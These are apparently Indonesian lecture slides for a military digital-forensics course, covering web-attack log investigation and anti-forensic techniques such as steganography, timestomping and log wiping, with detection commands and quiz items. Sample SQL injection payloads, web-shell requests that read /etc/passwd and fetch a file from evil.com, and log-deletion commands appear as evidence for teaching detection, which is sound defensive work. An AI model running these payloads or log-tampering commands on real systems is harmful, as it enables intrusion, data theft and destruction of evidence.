Mata Kuliah: Digital Forensic for Military Purposes | 3 SKS
Setelah pertemuan ini, mahasiswa mampu:
| Lapisan | Komponen | Artefak Forensik |
|---|---|---|
| Presentation | Browser, HTML/CSS/JS | Cache, cookies, history |
| Application | Web server, app logic | Access logs, error logs |
| Data | Database server | Query logs, audit trails |
Serangan web melintasi beberapa lapisan โ korelasi artefak antar lapisan diperlukan
/var/log/apache2/
/var/log/nginx/
C:\inetpub\logs\
192.168.1.100 - admin [15/Jan/2025:10:23:45 +0700] "GET /admin/dashboard.php HTTP/1.1" 200 4523 "http://example.com/login" "Mozilla/5.0"
| Field | Nilai | Keterangan |
|---|---|---|
| IP | 192.168.1.100 | Alamat client |
| Timestamp | [15/Jan/2025:10:23:45] | Waktu request |
| Request | GET /admin/dashboard.php | Method + URI |
| Status | 200 | Response code |
| User-Agent | Mozilla/5.0... | Info browser |
| Code | Arti | Relevansi |
|---|---|---|
200 | OK | Serangan mungkin sukses |
401 | Unauthorized | Gagal autentikasi |
403 | Forbidden | Akses ditolak |
404 | Not Found | Scanning/probing |
500 | Server Error | SQLi error-based |
| Jenis | Teknik | Deteksi |
|---|---|---|
| In-Band | UNION-based, Error-based | Payload di URL |
| Blind | Boolean, Time-based | Request berulang |
| Out-of-Band | DNS/HTTP lookup | Sulit dari log web |
grep -iE "(union.*select|or.*1.*=.*1|\
select.*from|drop.*table|waitfor.*delay)" \
/var/log/apache2/access.log
# Pola yang dicari:
/page.php?id=1' OR '1'='1
/page.php?id=1 UNION SELECT username,password FROM users--
/page.php?id=1; WAITFOR DELAY '0:0:5'--
User-Agent sqlmap = strong indicator serangan otomatis
172.16.0.100 [08:15:22] "GET /inventory.php?item_id=1' UNION SELECT username,password,NULL FROM admin_users--" 200
172.16.0.100 [08:15:25] "GET /inventory.php?item_id=1' UNION SELECT table_name,NULL,NULL FROM information_schema.tables--" 200
172.16.0.100 [08:16:01] "GET /inventory.php?item_id=1' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='classified_ops'--" 200
| Jenis | Mekanisme | Persistensi |
|---|---|---|
| Reflected | Payload di URL | Tidak persisten |
| Stored | Payload di database | Persisten |
| DOM-based | Proses client-side | Tidak persisten |
grep -iE "(<script|javascript:|onerror=|\
eval\(|document\.cookie)" access.log
192.168.1.50 - admin [12/Feb:11:30:45] "POST /admin/change_password HTTP/1.1" 302 0 "http://evil-site.com/csrf.html"
๐จ Red flag: Referer dari domain eksternal pada request POST ke endpoint sensitif!
# Cari file PHP dengan fungsi berbahaya
grep -rl "eval\|system\|exec\|passthru" \
/var/www/html/ --include="*.php"
# File baru (7 hari terakhir)
find /var/www/html/ -name "*.php" -mtime -7
# File PHP di direktori upload
find /var/www/html/uploads/ -name "*.php"
203.0.113.99 [03:15:22] "GET /uploads/x.php?cmd=whoami" 200
203.0.113.99 [03:15:30] "GET /uploads/x.php?cmd=cat+/etc/passwd" 200
203.0.113.99 [03:16:01] "GET /uploads/x.php?cmd=wget+http://evil.com/bd+-O+/tmp/bd" 200
whoami โ Identifikasi user servercat /etc/passwd โ Enumerasi userwget โ Download malware tambahan# Top 20 IP
awk '{print $1}' access.log | sort | uniq -c | sort -rn | head -20
# Distribusi status code
awk '{print $9}' access.log | sort | uniq -c | sort -rn
# Request error 500
awk '$9 == 500' access.log
# User-Agent analysis
awk -F'"' '{print $6}' access.log | sort | uniq -c | sort -rn
Memahami cara penyerang menghindari deteksi
| Kategori | Teknik | Tujuan |
|---|---|---|
| Data Hiding | Steganografi, ADS, enkripsi | Menyembunyikan data |
| Artifact Wiping | Secure delete, log cleaning | Menghapus jejak |
| Trail Obfuscation | Timestomping, spoofing | Menyesatkan investigasi |
| Attacks on Tools | Exploit forensic tools | Gagalkan proses forensik |
| Aspek | Steganografi | Kriptografi |
|---|---|---|
| Tujuan | Sembunyikan keberadaan | Lindungi isi pesan |
| Visibilitas | Tidak terlihat ada | Terlihat tapi tak terbaca |
| Kecurigaan | Tidak mencurigakan | Mencurigakan |
Mengganti bit terakhir piksel gambar dengan bit pesan:
Piksel asli: 10110100 11001010 01110001
Bit pesan: 1 0 1
Piksel modifikasi: 10110101 11001010 01110001
^
Bit terakhir berubah
Perubahan hanya 1/256 per channel warna โ tidak terlihat mata manusia
| Tool | Fungsi |
|---|---|
| StegSolve | Analisis visual layer gambar |
| zsteg | Deteksi steg pada PNG/BMP |
| steghide | Extract data dari JPEG/BMP |
| stegseek | Brute-force password steghide |
| binwalk | Deteksi file tersembunyi |
| exiftool | Analisis metadata |
# Deteksi dengan zsteg
zsteg suspicious_image.png
# Extract dengan steghide
steghide extract -sf image.jpg -p ""
# Brute-force password
stegseek image.jpg wordlist.txt
# Cek file tersembunyi
binwalk -e suspicious.png
# Cek metadata
exiftool suspicious.jpg
REM Membuat ADS
echo "Data rahasia" > dokumen.txt:rahasia.txt
REM Membaca ADS
more < dokumen.txt:rahasia.txt
REM Deteksi ADS
dir /R dokumen.txt
streams.exe -s C:\Users\suspect\
Get-Item dokumen.txt -Stream *
| Metode | Passes | Standar |
|---|---|---|
| Zero Fill | 1 | - |
| Random Data | 1 | - |
| DoD 5220.22-M | 3 | US DoD |
| Gutmann | 35 | Peter Gutmann |
| NIST 800-88 | 1-3 | NIST |
๐ก Data yang di-wipe TIDAK dapat di-recover, tetapi penggunaan tool wiping itu sendiri meninggalkan jejak!
REM Cek Prefetch files
dir C:\Windows\Prefetch\*BLEACHBIT* /S
dir C:\Windows\Prefetch\*CCLEANER* /S
dir C:\Windows\Prefetch\*SDELETE* /S
REM Cek registry
reg query "HKLM\SOFTWARE\...\Uninstall" /s | findstr /i "bleachbit ccleaner eraser"
REM Cek event log (audit cleared)
wevtutil qe Security /q:"*[System[(EventID=1102)]]"
Artefak lain: USN Journal, Volume Shadow Copies, RAM artifacts
| Atribut MFT | Timestamps | Modifikasi User? |
|---|---|---|
| $STANDARD_INFORMATION | C, M, A, E | โ Dapat dimanipulasi |
| $FILE_NAME | C, M, A, E | โ Tidak bisa (kernel only) |
๐ Key insight: Bandingkan kedua atribut โ jika berbeda = manipulasi!
| Atribut | Created | Modified |
|---|---|---|
| $STANDARD_INFO | 2020-01-15 08:00 | 2020-01-15 08:00 |
| $FILE_NAME | 2025-02-10 14:23 | 2025-02-10 14:23 |
# Deteksi dengan MFTECmd
MFTECmd.exe -f '$MFT' --csv output/ --csvf mft.csv
| Teknik | Metode |
|---|---|
| Deletion | rm /var/log/auth.log |
| Selective Edit | sed -i '/IP_attacker/d' access.log |
| Log Rotation Abuse | logrotate -f |
| Timestamp Edit | Edit langsung waktu entri |
| Log Injection | Sisipkan entri palsu |
# Cek gap dalam timestamp
awk '{print $4}' access.log | sed 's/\[//' | \
sort | uniq -c | sort -rn
# Cek ukuran file log
ls -la /var/log/apache2/
# Periksa inode modification time
stat /var/log/apache2/access.log
# Cek auditd untuk akses log
ausearch -f /var/log/apache2/access.log
# Bandingkan dengan remote log server
| Countermeasure | Anti-Forensik yang Dicegah |
|---|---|
| Centralized Logging | Log tampering |
| Write-Once Media | Artifact wiping |
| File Integrity Monitoring | Timestamp manipulation |
| Forensic Readiness | Semua teknik |
| Memory Acquisition | Encryption, data hiding |
# rsyslog - kirim log ke server terpusat
# /etc/rsyslog.d/50-remote.conf
*.* @@logserver.mil.id:514
# Apache remote logging
ErrorLog "| /usr/bin/logger -t apache_error -p local0.error"
CustomLog "| /usr/bin/logger -t apache_access -p local0.info" combined
๐ก Log di server terpusat tidak dapat dimanipulasi oleh penyerang yang hanya mengkompromikan web server
# AIDE - Advanced Intrusion Detection Environment
aide --init
cp /var/lib/aide/aide.db.new /var/lib/aide/aide.db
# Periksa integritas
aide --check
# Output:
# Changed: /var/log/apache2/access.log
# Mtime: 2025-02-15 10:00 -> 14:30
# SHA256: abc123... -> def456...
Tools lain: Tripwire, OSSEC
203.0.113.75 mulai 02:00 WIT/uploads/.xlsx dengan timestamp 2019| Waktu | Aktivitas | Jenis |
|---|---|---|
| 02:01 | Akses halaman login | Reconnaissance |
| 02:05 | Login berhasil | Credential compromise |
| 02:10 | SQL Injection pada parameter | SQL Injection |
| 02:15 | Upload file ke server | Web shell upload |
| 03-04 | Gap pada log (dihapus) | Log tampering |
| 04:01 | Akses web shell | Post-exploitation |
| Rank | Kerentanan | Artefak Forensik |
|---|---|---|
| A01 | Broken Access Control | Access log, session data |
| A03 | Injection | Query logs, error logs |
| A07 | Auth Failures | Auth logs, brute force |
| A09 | Logging Failures | Absence of logs! |
โ ๏ธ A09 Logging Failures = anti-forensik paling efektif โ tanpa log, tidak ada bukti!
Dari log berikut, jenis serangan apa yang terjadi?
10.0.0.50 [14:05:33] "GET /users.php?id=1' OR '1'='1 HTTP/1.1" 200 8721 "-" "sqlmap/1.5"
โ
B. Payload ' OR '1'='1 dan User-Agent sqlmap = SQL Injection
Teknik anti-forensik mana yang dapat dideteksi dengan membandingkan $STANDARD_INFORMATION dan $FILE_NAME?
โ C. $FILE_NAME dikelola kernel dan tidak bisa diubah user โ perbedaan = timestomping!
Pertemuan 12: Investigasi Serangan Web dan Teknik Anti-Forensik
Ada pertanyaan?